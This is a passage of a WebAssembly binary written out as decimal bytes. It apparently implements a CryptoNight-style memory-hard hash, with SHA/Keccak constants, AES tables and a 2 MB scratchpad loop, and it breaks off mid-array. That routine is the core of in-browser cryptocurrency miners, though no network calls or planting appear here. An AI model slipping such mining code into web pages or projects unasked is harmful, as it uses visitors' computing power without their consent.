33,4,2,64,2,64,2,64,2,64,32,7,40,2,0,65,8,118,65,3,113,14,3,2,1,0,3,11,32,7,65,8,106,33,9,32,11,32,11,41,3,0,66,128,128,128,128,128,128,128,128,128,127,132,55,3,0,32,12,40,2,0,34,0,65,192,0,73,4,64,32,9,65,216,0,106,32,0,106,65,0,65,192,0,32,0,107,16,14,26,11,32,9,32,7,65,224,0,106,34,5,65,1,32,0,16,20,32,9,40,2,0,65,7,106,65,3,118,33,8,32,5,66,0,55,3,0,32,5,66,0,55,3,8,32,5,66,0,55,3,16,32,5,66,0,55,3,24,32,5,66,0,55,3,32,32,5,66,0,55,3,40,32,5,66,0,55,3,48,32,5,66,0,55,3,56,32,4,32,3,41,3,0,55,3,0,32,4,32,3,41,3,8,55,3,8,32,4,32,3,41,3,16,55,3,16,32,4,32,3,41,3,24,55,3,24,32,4,32,3,41,3,32,55,3,32,32,4,32,3,41,3,40,55,3,40,32,4,32,3,41,3,48,55,3,48,32,4,32,3,41,3,56,55,3,56,32,8,4,64,32,8,65,127,106,65,6,118,33,10,65,0,33,6,65,0,33,0,3,64,32,5,32,6,173,55,3,0,32,13,66,0,55,3,0,32,11,66,128,128,128,128,128,128,128,128,127,55,3,0,32,12,65,0,54,2,0,32,9,32,5,65,1,65,8,16,20,32,2,32,0,106,32,3,32,8,32,0,107,34,0,65,192,0,73,4,127,32,0,5,65,192,0,11,16,11,26,32,3,32,4,41,3,0,55,3,0,32,3,32,4,41,3,8,55,3,8,32,3,32,4,41,3,16,55,3,16,32,3,32,4,41,3,24,55,3,24,32,3,32,4,41,3,32,55,3,32,32,3,32,4,41,3,40,55,3,40,32,3,32,4,41,3,48,55,3,48,32,3,32,4,41,3,56,55,3,56,32,6,65,1,106,34,1,65,6,116,33,0,32,6,32,10,71,4,64,32,1,33,6,12,1,11,11,11,32,7,36,4,15,11,32,7,65,8,106,33,10,32,11,32,11,41,3,0,66,128,128,128,128,128,128,128,128,128,127,132,55,3,0,32,12,40,2,0,34,0,65,32,73,4,64,32,10,65,56,106,32,0,106,65,0,65,32,32,0,107,16,14,26,11,32,10,32,7,65,192,0,106,34,8,65,1,32,0,16,23,32,10,40,2,0,65,7,106,65,3,118,33,6,32,8,66,0,55,3,0,32,8,66,0,55,3,8,32,8,66,0,55,3,16,32,8,66,0,55,3,24,32,4,32,3,41,3,0,55,3,0,32,4,32,3,41,3,8,55,3,8,32,4,32,3,41,3,16,55,3,16,32,4,32,3,41,3,24,55,3,24,32,6,4,64,65,0,33,0,3,64,32,8,32,0,173,55,3,0,32,13,66,0,55,3,0,32,11,66,128,128,128,128,128,128,128,128,127,55,3,0,32,12,65,0,54,2,0,32,10,32,8,65,1,65,8,16,23,32,2,32,0,106,32,3,32,6,32,0,107,34,1,65,32,73,4,127,32,1,5,65,32,11,16,11,26,32,3,32,4,41,3,0,55,3,0,32,3,32,4,41,3,8,55,3,8,32,3,32,4,41,3,16,55,3,16,32,3,32,4,41,3,24,55,3,24,32,6,32,0,65,32,106,34,0,75,13,0,11,11,32,7,36,4,15,11,32,11,32,11,41,3,0,66,128,128,128,128,128,128,128,128,128,127,132,55,3,0,32,12,40,2,0,34,0,65,128,1,73,4,64,32,7,65,160,1,106,32,0,106,65,0,65,128,1,32,0,107,16,14,26,11,32,7,65,8,106,34,8,32,7,65,160,1,106,34,5,65,1,32,0,16,24,32,8,40,2,0,65,7,106,65,3,118,33,9,32,5,66,0,55,3,0,32,5,66,0,55,3,8,32,5,66,0,55,3,16,32,5,66,0,55,3,24,32,5,66,0,55,3,32,32,5,66,0,55,3,40,32,5,66,0,55,3,48,32,5,66,0,55,3,56,32,5,66,0,55,3,64,32,5,66,0,55,3,72,32,5,66,0,55,3,80,32,5,66,0,55,3,88,32,5,66,0,55,3,96,32,5,66,0,55,3,104,32,5,66,0,55,3,112,32,5,66,0,55,3,120,32,4,32,3,41,3,0,55,3,0,32,4,32,3,41,3,8,55,3,8,32,4,32,3,41,3,16,55,3,16,32,4,32,3,41,3,24,55,3,24,32,4,32,3,41,3,32,55,3,32,32,4,32,3,41,3,40,55,3,40,32,4,32,3,41,3,48,55,3,48,32,4,32,3,41,3,56,55,3,56,32,4,32,3,41,3,64,55,3,64,32,4,32,3,41,3,72,55,3,72,32,4,32,3,41,3,80,55,3,80,32,4,32,3,41,3,88,55,3,88,32,4,32,3,41,3,96,55,3,96,32,4,32,3,41,3,104,55,3,104,32,4,32,3,41,3,112,55,3,112,32,4,32,3,41,3,120,55,3,120,32,9,4,64,32,9,65,127,106,65,7,118,33,10,65,0,33,6,65,0,33,0,3,64,32,5,32,6,173,55,3,0,32,13,66,0,55,3,0,32,11,66,128,128,128,128,128,128,128,128,127,55,3,0,32,12,65,0,54,2,0,32,8,32,5,65,1,65,8,16,24,32,2,32,0,106,32,3,32,9,32,0,107,34,0,65,128,1,73,4,127,32,0,5,65,128,1,11,16,11,26,32,3,32,4,41,3,0,55,3,0,32,3,32,4,41,3,8,55,3,8,32,3,32,4,41,3,16,55,3,16,32,3,32,4,41,3,24,55,3,24,32,3,32,4,41,3,32,55,3,32,32,3,32,4,41,3,40,55,3,40,32,3,32,4,41,3,48,55,3,48,32,3,32,4,41,3,56,55,3,56,32,3,32,4,41,3,64,55,3,64,32,3,32,4,41,3,72,55,3,72,32,3,32,4,41,3,80,55,3,80,32,3,32,4,41,3,88,55,3,88,32,3,32,4,41,3,96,55,3,96,32,3,32,4,41,3,104,55,3,104,32,3,32,4,41,3,112,55,3,112,32,3,32,4,41,3,120,55,3,120,32,6,65,1,106,34,1,65,7,116,33,0,32,6,32,10,71,4,64,32,1,33,6,12,1,11,11,11,32,7,36,4,15,11,32,7,36,4,11,214,9,2,4,127,2,126,35,4,33,3,35,4,65,224,1,106,36,4,32,3,65,8,106,34,5,66,0,55,3,8,32,3,65,128,2,54,2,0,32,3,65,32,106,34,4,65,176,62,41,0,0,55,0,0,32,4,65,184,62,41,0,0,55,0,8,32,4,65,192,62,41,0,0,55,0,16,32,4,65,200,62,41,0,0,55,0,24,32,4,65,208,62,41,0,0,55,0,32,32,4,65,216,62,41,0,0,55,0,40,32,4,65,224,62,41,0,0,55,0,48,32,4,65,232,62,41,0,0,55,0,56,32,4,65,240,62,41,0,0,55,0,64,32,4,65,248,62,41,0,0,55,0,72,32,4,65,128,63,41,0,0,55,0,80,32,4,65,136,63,41,0,0,55,0,88,32,4,65,144,63,41,0,0,55,0,96,32,4,65,152,63,41,0,0,55,0,104,32,4,65,160,63,41,0,0,55,0,112,32,4,65,168,63,41,0,0,55,0,120,32,5,32,1,65,3,116,34,1,173,34,7,55,3,0,32,1,65,255,3,75,4,127,32,3,65,160,1,106,33,1,3,64,32,1,32,0,32,8,167,106,34,4,41,0,0,55,0,0,32,1,32,4,41,0,8,55,0,8,32,1,32,4,41,0,16,55,0,16,32,1,32,4,41,0,24,55,0,24,32,1,32,4,41,0,32,55,0,32,32,1,32,4,41,0,40,55,0,40,32,1,32,4,41,0,48,55,0,48,32,1,32,4,41,0,56,55,0,56,32,3,16,19,32,8,66,192,0,124,33,8,32,7,66,128,124,124,34,7,66,255,3,86,13,0,11,32,8,167,5,65,0,11,33,1,32,3,65,16,106,33,4,32,7,66,0,82,4,64,32,3,65,160,1,106,33,6,32,0,32,1,106,33,0,32,7,66,3,136,66,63,131,33,8,32,7,66,7,131,66,0,81,4,127,32,6,32,0,32,8,167,16,11,5,32,6,32,0,32,8,66,1,124,167,16,11,11,26,32,4,32,7,55,3,0,11,32,5,41,3,0,34,7,66,255,3,131,34,8,66,0,81,4,64,32,3,65,160,1,106,34,0,66,0,55,3,0,32,0,66,0,55,3,8,32,0,66,0,55,3,16,32,0,66,0,55,3,24,32,0,66,0,55,3,32,32,0,66,0,55,3,40,32,0,66,0,55,3,48,32,0,66,0,55,3,56,32,0,65,128,127,58,0,0,32,3,32,7,60,0,223,1,32,3,32,7,66,8,136,60,0,222,1,32,3,32,7,66,16,136,60,0,221,1,32,3,32,7,66,24,136,60,0,220,1,32,3,32,7,66,32,136,60,0,219,1,32,3,32,7,66,40,136,60,0,218,1,32,3,32,7,66,48,136,60,0,217,1,32,3,32,7,66,56,136,60,0,216,1,32,3,16,19,5,32,8,66,3,136,33,8,32,4,41,3,0,66,7,131,66,0,81,4,64,32,8,167,34,0,65,192,0,73,4,64,32,3,32,0,65,160,1,106,106,65,0,65,192,0,32,0,107,16,14,26,11,5,32,8,66,1,124,167,34,0,65,192,0,73,4,64,32,3,32,0,65,160,1,106,106,65,0,65,192,0,32,0,107,16,14,26,11,11,32,3,65,160,1,106,32,7,66,3,136,167,65,63,113,106,34,0,65,1,32,7,167,65,7,113,65,7,115,116,32,0,45,0,0,114,58,0,0,32,3,16,19,32,3,65,160,1,106,34,0,66,0,55,3,0,32,0,66,0,55,3,8,32,0,66,0,55,3,16,32,0,66,0,55,3,24,32,0,66,0,55,3,32,32,0,66,0,55,3,40,32,0,66,0,55,3,48,32,0,66,0,55,3,56,32,3,32,5,41,3,0,34,7,60,0,223,1,32,3,32,7,66,8,136,60,0,222,1,32,3,32,7,66,16,136,60,0,221,1,32,3,32,7,66,24,136,60,0,220,1,32,3,32,7,66,32,136,60,0,219,1,32,3,32,7,66,40,136,60,0,218,1,32,3,32,7,66,48,136,60,0,217,1,32,3,32,7,66,56,136,60,0,216,1,32,3,16,19,11,2,64,2,64,2,64,2,64,2,64,32,3,40,2,0,65,160,126,106,34,0,65,5,118,32,0,65,27,116,114,14,10,0,1,4,4,4,2,4,4,4,3,4,11,32,2,32,3,65,132,1,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,40,0,24,54,0,24,32,3,36,4,15,11,32,2,32,3,65,128,1,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,41,0,24,55,0,24,32,3,36,4,15,11,32,2,32,3,65,240,0,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,41,0,24,55,0,24,32,2,32,0,41,0,32,55,0,32,32,2,32,0,41,0,40,55,0,40,32,3,36,4,15,11,32,2,32,3,65,224,0,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,41,0,24,55,0,24,32,2,32,0,41,0,32,55,0,32,32,2,32,0,41,0,40,55,0,40,32,2,32,0,41,0,48,55,0,48,32,2,32,0,41,0,56,55,0,56,32,3,36,4,15,11,32,3,36,4,11,209,6,1,14,127,35,4,33,3,35,4,65,144,1,106,36,4,32,3,65,231,204,167,208,6,54,2,0,32,3,65,4,106,34,10,65,133,221,158,219,123,54,2,0,32,3,65,8,106,34,11,65,242,230,187,227,3,54,2,0,32,3,65,12,106,34,12,65,186,234,191,170,122,54,2,0,32,3,65,16,106,34,13,65,255,164,185,136,5,54,2,0,32,3,65,20,106,34,14,65,140,209,149,216,121,54,2,0,32,3,65,24,106,34,15,65,171,179,143,252,1,54,2,0,32,3,65,28,106,34,16,65,153,154,131,223,5,54,2,0,32,3,65,32,106,34,7,66,0,55,2,0,32,7,66,0,55,2,8,32,7,66,0,55,2,16,32,7,66,0,55,2,24,32,3,32,0,32,1,173,66,3,134,16,17,32,3,65,137,1,106,34,1,65,129,127,58,0,0,32,3,65,136,1,106,34,0,65,1,58,0,0,32,3,65,128,1,106,34,5,32,3,40,2,52,32,3,40,2,56,34,6,32,3,65,48,106,34,4,40,2,0,34,9,106,34,8,32,6,73,106,34,7,65,24,118,58,0,0,32,5,32,7,65,16,118,58,0,1,32,5,32,7,65,8,118,58,0,2,32,5,32,7,58,0,3,32,5,32,8,65,24,118,58,0,4,32,5,32,8,65,16,118,58,0,5,32,5,32,8,65,8,118,58,0,6,32,5,32,8,58,0,7,32,6,65,184,3,70,4,64,32,4,32,9,65,120,106,54,2,0,32,3,32,1,66,8,16,17,32,4,40,2,0,33,0,5,32,6,65,184,3,72,4,64,32,6,69,4,64,32,3,65,1,54,2,60,11,32,4,32,9,65,200,124,106,32,6,106,54,2,0,32,3,65,240,61,65,184,3,32,6,107,172,16,17,5,32,4,32,9,65,128,124,106,32,6,106,54,2,0,32,3,65,240,61,65,128,4,32,6,107,172,16,17,32,4,32,4,40,2,0,65,200,124,106,54,2,0,32,3,65,241,61,66,184,3,16,17,32,3,65,1,54,2,60,11,32,3,32,0,66,8,16,17,32,4,32,4,40,2,0,65,120,106,34,0,54,2,0,11,32,4,32,0,65,64,106,54,2,0,32,3,32,5,66,192,0,16,17,32,2,32,3,40,2,0,34,0,65,24,118,58,0,0,32,2,32,0,65,16,118,58,0,1,32,2,32,0,65,8,118,58,0,2,32,2,32,0,58,0,3,32,2,32,10,40,2,0,34,0,65,24,118,58,0,4,32,2,32,0,65,16,118,58,0,5,32,2,32,0,65,8,118,58,0,6,32,2,32,0,58,0,7,32,2,32,11,40,2,0,34,0,65,24,118,58,0,8,32,2,32,0,65,16,118,58,0,9,32,2,32,0,65,8,118,58,0,10,32,2,32,0,58,0,11,32,2,32,12,40,2,0,34,0,65,24,118,58,0,12,32,2,32,0,65,16,118,58,0,13,32,2,32,0,65,8,118,58,0,14,32,2,32,0,58,0,15,32,2,32,13,40,2,0,34,0,65,24,118,58,0,16,32,2,32,0,65,16,118,58,0,17,32,2,32,0,65,8,118,58,0,18,32,2,32,0,58,0,19,32,2,32,14,40,2,0,34,0,65,24,118,58,0,20,32,2,32,0,65,16,118,58,0,21,32,2,32,0,65,8,118,58,0,22,32,2,32,0,58,0,23,32,2,32,15,40,2,0,34,0,65,24,118,58,0,24,32,2,32,0,65,16,118,58,0,25,32,2,32,0,65,8,118,58,0,26,32,2,32,0,58,0,27,32,2,32,16,40,2,0,34,0,65,24,118,58,0,28,32,2,32,0,65,16,118,58,0,29,32,2,32,0,65,8,118,58,0,30,32,2,32,0,58,0,31,32,3,36,4,11,181,26,2,21,127,8,126,35,4,33,8,35,4,65,208,1,106,36,4,32,8,32,1,41,0,0,55,0,0,32,8,32,1,41,0,8,55,0,8,32,8,32,1,41,0,16,55,0,16,32,8,32,1,41,0,24,55,0,24,32,8,32,1,41,0,32,55,0,32,32,8,32,1,41,0,40,55,0,40,32,8,32,1,41,0,48,55,0,48,32,8,32,1,41,0,56,55,0,56,32,8,32,1,41,0,64,55,0,64,32,8,32,1,40,0,72,54,0,72,32,8,65,208,0,106,34,1,66,0,55,3,0,32,1,66,0,55,3,8,32,1,66,0,55,3,16,32,1,66,0,55,3,24,32,1,66,0,55,3,32,32,1,66,0,55,3,40,32,1,66,0,55,3,48,32,1,66,0,55,3,56,32,1,66,0,55,3,64,32,1,66,0,55,3,72,32,1,66,0,55,3,80,32,1,66,0,55,3,88,32,1,66,0,55,3,96,32,1,66,0,55,3,104,32,1,66,0,55,3,112,32,8,65,200,0,106,34,1,32,1,41,3,0,66,255,255,255,255,15,131,66,128,128,128,128,16,132,55,3,0,32,8,66,128,128,128,128,128,128,128,128,128,127,55,3,128,1,32,8,16,25,32,0,65,128,128,128,1,106,34,18,32,8,65,200,1,16,11,26,32,0,65,128,131,128,1,106,34,1,40,2,0,34,3,4,127,32,1,5,65,24,16,16,34,3,4,64,32,3,65,124,106,40,2,0,65,3,113,4,64,32,3,66,0,55,0,0,32,3,66,0,55,0,8,32,3,66,0,55,0,16,11,32,8,16,7,26,32,8,16,8,33,10,32,8,47,1,4,34,5,16,16,34,4,69,34,6,69,4,64,32,4,65,124,106,40,2,0,65,3,113,4,64,32,4,65,0,32,5,16,14,26,11,11,32,10,40,2,20,33,11,32,10,40,2,16,33,12,32,10,40,2,12,33,14,32,10,40,2,8,33,15,32,10,40,2,4,33,16,32,10,40,2,0,33,10,35,4,33,7,35,4,65,16,106,36,4,65,20,32,7,16,5,33,9,32,7,36,4,32,9,33,17,32,6,69,4,64,32,4,16,12,11,65,128,204,0,32,5,65,237,14,106,32,11,106,32,12,106,32,4,32,5,106,106,32,14,106,32,15,106,32,16,106,32,10,106,32,17,106,34,10,65,127,106,173,55,3,0,32,3,65,0,54,2,0,32,3,65,4,106,34,10,32,10,46,1,0,65,126,113,59,1,0,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,6,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,7,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,8,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,9,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,10,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,11,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,12,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,13,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,14,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,15,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,16,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,17,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,18,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,19,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,20,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,25,55,3,0,32,3,32,25,66,33,136,167,58,0,21,32,10,32,10,46,1,0,65,2,114,59,1,0,5,65,0,33,3,11,32,1,32,3,54,2,0,32,1,11,33,10,32,0,65,208,129,128,1,106,34,4,32,0,65,192,128,128,1,106,34,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,3,32,18,16,22,32,0,65,224,129,128,1,106,33,14,32,0,65,240,129,128,1,106,33,15,32,0,65,128,130,128,1,106,33,16,32,0,65,144,130,128,1,106,33,17,32,0,65,160,130,128,1,106,33,21,32,0,65,176,130,128,1,106,33,22,32,0,65,192,130,128,1,106,33,23,65,0,33,3,3,64,32,4,32,1,40,2,0,40,2,0,40,2,12,16,10,32,14,32,1,40,2,0,40,2,0,40,2,12,16,10,32,15,32,1,40,2,0,40,2,0,40,2,12,16,10,32,16,32,1,40,2,0,40,2,0,40,2,12,16,10,32,17,32,1,40,2,0,40,2,0,40,2,12,16,10,32,21,32,1,40,2,0,40,2,0,40,2,12,16,10,32,22,32,1,40,2,0,40,2,0,40,2,12,16,10,32,23,32,1,40,2,0,40,2,0,40,2,12,16,10,32,0,32,3,106,34,6,32,4,41,0,0,55,0,0,32,6,32,4,41,0,8,55,0,8,32,6,32,4,41,0,16,55,0,16,32,6,32,4,41,0,24,55,0,24,32,6,32,4,41,0,32,55,0,32,32,6,32,4,41,0,40,55,0,40,32,6,32,4,41,0,48,55,0,48,32,6,32,4,41,0,56,55,0,56,32,6,32,4,41,0,64,55,0,64,32,6,32,4,41,0,72,55,0,72,32,6,32,4,41,0,80,55,0,80,32,6,32,4,41,0,88,55,0,88,32,6,32,4,41,0,96,55,0,96,32,6,32,4,41,0,104,55,0,104,32,6,32,4,41,0,112,55,0,112,32,6,32,4,41,0,120,55,0,120,32,3,65,128,1,106,34,3,65,128,128,128,1,73,13,0,11,32,0,65,208,130,128,1,106,34,6,32,0,65,160,128,128,1,106,34,7,41,3,0,32,18,41,3,0,133,34,28,55,3,0,32,0,65,216,130,128,1,106,34,13,32,0,65,168,128,128,1,106,41,3,0,32,0,65,136,128,128,1,106,41,3,0,133,55,3,0,32,0,65,224,130,128,1,106,34,11,32,0,65,176,128,128,1,106,41,3,0,32,0,65,144,128,128,1,106,41,3,0,133,55,3,0,32,0,65,232,130,128,1,106,34,19,32,0,65,184,128,128,1,106,41,3,0,32,0,65,152,128,128,1,106,41,3,0,133,55,3,0,32,0,65,240,130,128,1,106,33,12,32,0,65,248,130,128,1,106,33,20,65,0,33,3,32,28,167,33,9,3,64,32,0,32,9,65,240,255,255,0,113,106,34,9,32,12,32,6,16,27,32,9,32,11,41,3,0,32,12,41,3,0,133,55,3,0,32,9,32,19,41,3,0,32,20,41,3,0,133,55,3,8,32,0,32,12,40,2,0,65,240,255,255,0,113,106,34,9,41,3,0,34,28,66,32,136,33,26,32,28,66,255,255,255,255,15,131,34,27,32,12,41,3,0,34,25,66,32,136,34,31,126,33,29,32,27,32,25,66,255,255,255,255,15,131,34,25,126,33,27,32,29,32,26,32,25,126,124,34,25,66,32,134,32,27,124,34,32,32,13,41,3,0,124,33,30,32,6,32,6,41,3,0,32,26,32,31,126,124,32,25,66,32,136,124,32,25,32,29,84,173,66,32,134,124,32,32,32,27,84,173,124,34,26,32,28,133,55,3,0,32,13,32,30,32,9,65,8,106,34,24,41,3,0,133,55,3,0,32,9,32,26,55,3,0,32,24,32,30,55,3,0,32,0,32,6,40,2,0,65,240,255,255,0,113,106,34,9,32,11,32,6,16,27,32,9,32,12,41,3,0,32,11,41,3,0,133,55,3,0,32,9,32,20,41,3,0,32,19,41,3,0,133,55,3,8,32,0,32,11,40,2,0,65,240,255,255,0,113,106,34,9,41,3,0,34,28,66,32,136,33,26,32,28,66,255,255,255,255,15,131,34,27,32,11,41,3,0,34,25,66,32,136,34,31,126,33,29,32,27,32,25,66,255,255,255,255,15,131,34,25,126,33,27,32,29,32,26,32,25,126,124,34,25,66,32,134,32,27,124,34,32,32,13,41,3,0,124,33,30,32,6,32,6,41,3,0,32,26,32,31,126,124,32,25,66,32,136,124,32,25,32,29,84,173,66,32,134,124,32,32,32,27,84,173,124,34,26,32,28,133,55,3,0,32,13,32,30,32,9,65,8,106,34,24,41,3,0,133,55,3,0,32,9,32,26,55,3,0,32,24,32,30,55,3,0,32,3,65,1,106,34,3,65,128,128,16,71,4,64,32,6,40,2,0,33,9,12,1,11,11,32,4,32,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,10,40,2,0,32,7,16,22,32,0,65,216,129,128,1,106,33,10,32,0,65,232,129,128,1,106,33,6,32,0,65,248,129,128,1,106,33,11,32,0,65,136,130,128,1,106,33,12,32,0,65,152,130,128,1,106,33,13,32,0,65,168,130,128,1,106,33,19,32,0,65,184,130,128,1,106,33,20,32,0,65,200,130,128,1,106,33,9,65,0,33,3,3,64,32,4,32,4,41,3,0,32,0,32,3,106,34,7,41,3,0,133,55,3,0,32,10,32,10,41,3,0,32,7,41,3,8,133,55,3,0,32,4,32,1,40,2,0,40,2,0,40,2,12,16,10,32,14,32,14,41,3,0,32,0,32,3,65,16,114,106,34,7,41,3,0,133,55,3,0,32,6,32,6,41,3,0,32,7,41,3,8,133,55,3,0,32,14,32,1,40,2,0,40,2,0,40,2,12,16,10,32,15,32,15,41,3,0,32,0,32,3,65,32,114,106,34,7,41,3,0,133,55,3,0,32,11,32,11,41,3,0,32,7,41,3,8,133,55,3,0,32,15,32,1,40,2,0,40,2,0,40,2,12,16,10,32,16,32,16,41,3,0,32,0,32,3,65,48,114,106,34,7,41,3,0,133,55,3,0,32,12,32,12,41,3,0,32,7,41,3,8,133,55,3,0,32,16,32,1,40,2,0,40,2,0,40,2,12,16,10,32,17,32,17,41,3,0,32,0,32,3,65,192,0,114,106,34,7,41,3,0,133,55,3,0,32,13,32,13,41,3,0,32,7,41,3,8,133,55,3,0,32,17,32,1,40,2,0,40,2,0,40,2,12,16,10,32,21,32,21,41,3,0,32,0,32,3,65,208,0,114,106,34,7,41,3,0,133,55,3,0,32,19,32,19,41,3,0,32,7,41,3,8,133,55,3,0,32,21,32,1,40,2,0,40,2,0,40,2,12,16,10,32,22,32,22,41,3,0,32,0,32,3,65,224,0,114,106,34,7,41,3,0,133,55,3,0,32,20,32,20,41,3,0,32,7,41,3,8,133,55,3,0,32,22,32,1,40,2,0,40,2,0,40,2,12,16,10,32,23,32,23,41,3,0,32,0,32,3,65,240,0,114,106,34,7,41,3,0,133,55,3,0,32,9,32,9,41,3,0,32,7,41,3,8,133,55,3,0,32,23,32,1,40,2,0,40,2,0,40,2,12,16,10,32,3,65,128,1,106,34,3,65,128,128,128,1,73,13,0,11,32,5,32,4,41,3,0,55,3,0,32,5,32,4,41,3,8,55,3,8,32,5,32,4,41,3,16,55,3,16,32,5,32,4,41,3,24,55,3,24,32,5,32,4,41,3,32,55,3,32,32,5,32,4,41,3,40,55,3,40,32,5,32,4,41,3,48,55,3,48,32,5,32,4,41,3,56,55,3,56,32,5,32,4,41,3,64,55,3,64,32,5,32,4,41,3,72,55,3,72,32,5,32,4,41,3,80,55,3,80,32,5,32,4,41,3,88,55,3,88,32,5,32,4,41,3,96,55,3,96,32,5,32,4,41,3,104,55,3,104,32,5,32,4,41,3,112,55,3,112,32,5,32,4,41,3,120,55,3,120,32,18,16,25,32,18,65,200,1,32,2,32,18,44,0,0,65,3,113,65,2,116,65,128,42,106,40,2,0,65,7,113,17,0,0,32,8,36,4,11,27,1,1,127,35,4,33,1,35,4,32,0,106,36,4,35,4,65,15,106,65,112,113,36,4,32,1,11,11,201,67,3,0,65,128,8,11,224,39,198,99,99,165,248,124,124,132,238,119,119,153,246,123,123,141,255,242,242,13,214,107,107,189,222,111,111,177,145,197,197,84,96,48,48,80,2,1,1,3,206,103,103,169,86,43,43,125,231,254,254,25,181,215,215,98,77,171,171,230,236,118,118,154,143,202,202,69,31,130,130,157,137,201,201,64,250,125,125,135,239,250,250,21,178,89,89,235,142,71,71,201,251,240,240,11,65,173,173,236,179,212,212,103,95,162,162,253,69,175,175,234,35,156,156,191,83,164,164,247,228,114,114,150,155,192,192,91,117,183,183,194,225,253,253,28,61,147,147,174,76,38,38,106,108,54,54,90,126,63,63,65,245,247,247,2,131,204,204,79,104,52,52,92,81,165,165,244,209,229,229,52,249,241,241,8,226,113,113,147,171,216,216,115,98,49,49,83,42,21,21,63,8,4,4,12,149,199,199,82,70,35,35,101,157,195,195,94,48,24,24,40,55,150,150,161,10,5,5,15,47,154,154,181,14,7,7,9,36,18,18,54,27,128,128,155,223,226,226,61,205,235,235,38,78,39,39,105,127,178,178,205,234,117,117,159,18,9,9,27,29,131,131,158,88,44,44,116,52,26,26,46,54,27,27,45,220,110,110,178,180,90,90,238,91,160,160,251,164,82,82,246,118,59,59,77,183,214,214,97,125,179,179,206,82,41,41,123,221,227,227,62,94,47,47,113,19,132,132,151,166,83,83,245,185,209,209,104,0,0,0,0,193,237,237,44,64,32,32,96,227,252,252,31,121,177,177,200,182,91,91,237,212,106,106,190,141,203,203,70,103,190,190,217,114,57,57,75,148,74,74,222,152,76,76,212,176,88,88,232,133,207,207,74,187,208,208,107,197,239,239,42,79,170,170,229,237,251,251,22,134,67,67,197,154,77,77,215,102,51,51,85,17,133,133,148,138,69,69,207,233,249,249,16,4,2,2,6,254,127,127,129,160,80,80,240,120,60,60,68,37,159,159,186,75,168,168,227,162,81,81,243,93,163,163,254,128,64,64,192,5,143,143,138,63,146,146,173,33,157,157,188,112,56,56,72,241,245,245,4,99,188,188,223,119,182,182,193,175,218,218,117,66,33,33,99,32,16,16,48,229,255,255,26,253,243,243,14,191,210,210,109,129,205,205,76,24,12,12,20,38,19,19,53,195,236,236,47,190,95,95,225,53,151,151,162,136,68,68,204,46,23,23,57,147,196,196,87,85,167,167,242,